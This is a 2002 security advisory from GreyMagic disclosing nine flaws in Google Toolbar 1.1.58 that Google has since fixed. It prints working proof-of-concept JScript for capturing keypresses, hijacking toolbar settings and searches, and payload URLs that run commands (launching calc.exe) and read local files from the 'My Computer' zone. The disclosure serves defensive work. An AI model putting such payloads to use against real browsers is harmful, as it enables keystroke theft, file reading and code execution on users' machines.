GreyMagic Security Advisory GM#001-MC
=====================================

By GreyMagic Software, Israel.
08 Aug 2002.

Available in HTML format at http://security.greymagic.com/adv/gm001-mc/.

Topic: Exploiting the Google toolbar.

Discovery date: 31 Jul 2002.

Affected applications:
======================

Google toolbar version 1.1.58 and prior.


Introduction:
=============

Google is a popular and precise search engine. Google is also offering a
popular, free, simple and useful browser toolbar that can be used to search
the web without going to the Google homepage.

>From Google.com:

"The new Google Toolbar increases your ability to find information from
anywhere on the web and takes only seconds to install. When the Google
Toolbar is installed, it automatically appears along with the Internet
Explorer toolbar. This means you can quickly and easily use Google to search
from any website location, without returning to the Google home page to
begin another search."


Discussion:
===========

We found multiple security flaws in the Google toolbar; we will first list
them all (sorted by severity) and then supply details.

Without any user interaction, an attacker can use the Google toolbar to:

 1. Tap to key presses in the toolbar's search box.
 2. Control all visual configuration options.
 3. Enable features with privacy implications.
 4. Clear the toolbar's history.
*5. Completely uninstall the toolbar.
*6. Hijack the toolbar and reroute searches.
*7. Execute arbitrary commands.
*8. Read local files.
*9. Script in the "My Computer" zone.

#1. Tap to key presses in the toolbar's search box.
---------------------------------------------------

When typing to the Google toolbar, the currently loaded document still
receives all the keyboard events. This flaw is trivial to exploit, by
setting a simple "onkeydown" event handler in the document level and waiting
for input.

This method is hardly perfect for the attacker since there's no way to know
where the cursor is or even whether the user is actually in the Google
toolbar. But by analyzing the information grabbed from the keyboard it is
quite easy to make an educated guess.

In addition, the attacker can only tap to the toolbar when the user is in
his web site, there's no way to use this method outside of it.

#2. Control all visual configuration options.
---------------------------------------------

The method of registering changes in options to the Google toolbar is very
insecure. The toolbar is using a special URL to inflict the changes,
"http://toolbar.google.com/command?<changes here>". However, it doesn't let
the changes occur if the current document is outside of google.com or the
special res:// protocol.

That little restriction can be easily circumvented by opening a window that
points to google.com or any res:// URL and then, with scripting, change the
URL to the toolbar's configuration URL.

The problem described above is the main issue of this advisory and all the
other flaws are actually implications of it.

For example, to hide the "Search" button, all an attacker needs to do is
follow the steps above and then change the URL to
"http://toolbar.google.com/command?Search=0". This can be done with all the
other buttons and features.

#3. Enable features with privacy implications.
----------------------------------------------

The toolbar comes with two features that have privacy implications; these
are the "PageRank" feature and the "Category" feature.

By following the steps described in #2 and then changing the URL to
"http://toolbar.google.com/command?PageRank=1" and
"http://toolbar.google.com/command?Category=1" an attacker can enable these
features, regardless of their initial setup.

#4. Clear the toolbar's history.
--------------------------------

The toolbar has an option to save searches made by it. An attacker can
enable this feature by following the steps described in #2 and then changing
the URL to "http://toolbar.google.com/command?StoreHist=1" and
"http://toolbar.google.com/command?ShowHist=1".

An attacker can remove all searches from history by following the steps in
#2 and then changing the URL to
"http://toolbar.google.com/command?clearhist".

#5. Completely uninstall the toolbar.
-------------------------------------

An attacker can uninstall the Google toolbar by following the steps in #2
and then changing the URL to "http://toolbar.google.com/command?uninstall".

#6. Hijack the toolbar and reroute searches.
--------------------------------------------

To search, the toolbar uses a special option called "GoogleHome". An
attacker can change the value of the "GoogleHome" option by following the
steps in #2 and then changing the URL to
"http://toolbar.google.com/command?GoogleHome=<attacker's search handler>".

Starting from that moment on, all web searches would be routed through the
attacker's web site. The attacker would be able to log the searches and
uniquely identify users. The attacker will then be able to brand the user
and offer him services according to the searches made. After logging the
search information, the attacker can simply forward the request to Google to
remove any suspicions the user may have.

#7. Execute arbitrary commands.
-------------------------------

The toolbar command mechanism exposes a very dangerous feature, when called
with "http://toolbar.google.com/command?script=<any script>" the script
passed to the command will run in the same context as the current document.
As mentioned in #2, the toolbar command mechanism accepts two kinds of URLs,
any URL in the google.com domain and any res:// URL.

When ran on the google.com domain, the result is a simple domain XSS in
google.com. But when ran on any res:// URL the result is full access to the
"My Computer" zone.

Once the attacker can access the "My Computer" zone, executing commands is
trivial, all an attacker needs to do is follow the steps in #2 and then
change the URL to
"http://toolbar.google.com/command?script=document.body.insertAdjacentHTML('
beforeEnd','<object classid=clsid:10101010-1111-1111-1111-111111111111
codebase=c:/winnt/system32/calc.exe style=display:none></object>')".

#8. Read local files.
---------------------

Using the same logic described in #7, an attacker can read local files from
the client.

By following the steps described in #2 and then changing the URL to
"http://toolbar.google.com/command?script=document.body.insertAdjacentHTML('
beforeEnd','<iframe id=oFileRead src=file://c:/test.txt></iframe>');
setTimeout(function () {
alert(oFileRead.document.documentElement.innerText) },1000)" an attacker can
read any local file that is loadable by IE.

#9. Script in the "My Computer" zone.
-------------------------------------

#7 and #8 are just two examples of the abilities of the "My Computer" zone.
It is a very unrestrictive zone and other implications may apply when an
attacker is able to inject script into it


Exploit:
========

The following code will output key presses in the toolbar to a DIV element
(flaw #1):

<script language="jscript">
document.onkeydown=function () {
    oTapper.innerText+=String.fromCharCode(event.keyCode);
 
</script>
<div id="oTapper"></div>

The following code will open a res:// URL in a window, and inject a toolbar
command to it (flaws #2-#9):

<script language="jscript">
var
oGoogleWin=open("res://shdoclc.dll/about.dlg","Googler","width=700,height=50
0,toolbar,status,resizable");
setTimeout(
    function () {
        oGoogleWin.location.href="http://toolbar.google.com/command?[Choose
your command from #2 to #8]";
    },
    400
);
</script>


Solution:
=========

Google has been very responsive and quick to produce a fixed version
(1.1.59/1.1.60).

The new version began distributing on Wednesday (07-Aug-2002) noon using the
auto-update feature in the Google toolbar. Therefore, most of the toolbar's
users should be protected from these vulnerabilities by now.


Tested on:
==========

Google toolbar 1.1.58.


Demonstration:
==============

We put together three proof-of-concept demonstrations, to view these
demonstrations you need to use version 1.1.58 (or prior) of the toolbar.

If your toolbar already auto-updated to a later version and you still wish
to see these vulnerabilities in action, you can re-install 1.1.58 from
http://security.greymagic.com/adv/gm001-mc/gt58.html

You can check your current version by clicking the Google logo and then
"About Google Toolbar".

* Google Tapping: tap to keypresses in the toolbar's input box.
* Google Hijack: remotely change different settings of the Google toolbar.
* Google Snoop: execute commands and read local files using the toolbar.

They can all be found at http://security.greymagic.com/adv/gm001-mc/.


Feedback:
=========

Please mail any questions or comments to security@greymagic.com.

- Copyright © 2002 GreyMagic Software.